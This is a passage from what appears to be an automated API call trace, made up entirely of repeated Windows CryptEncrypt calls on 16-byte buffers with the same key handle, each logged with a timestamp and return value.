pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.698] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.699] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.700] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.701] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.701] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.701] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.701] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.701] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.701] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.701] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.701] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.701] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.701] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.701] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.701] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.701] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.701] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.701] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.701] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.701] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, 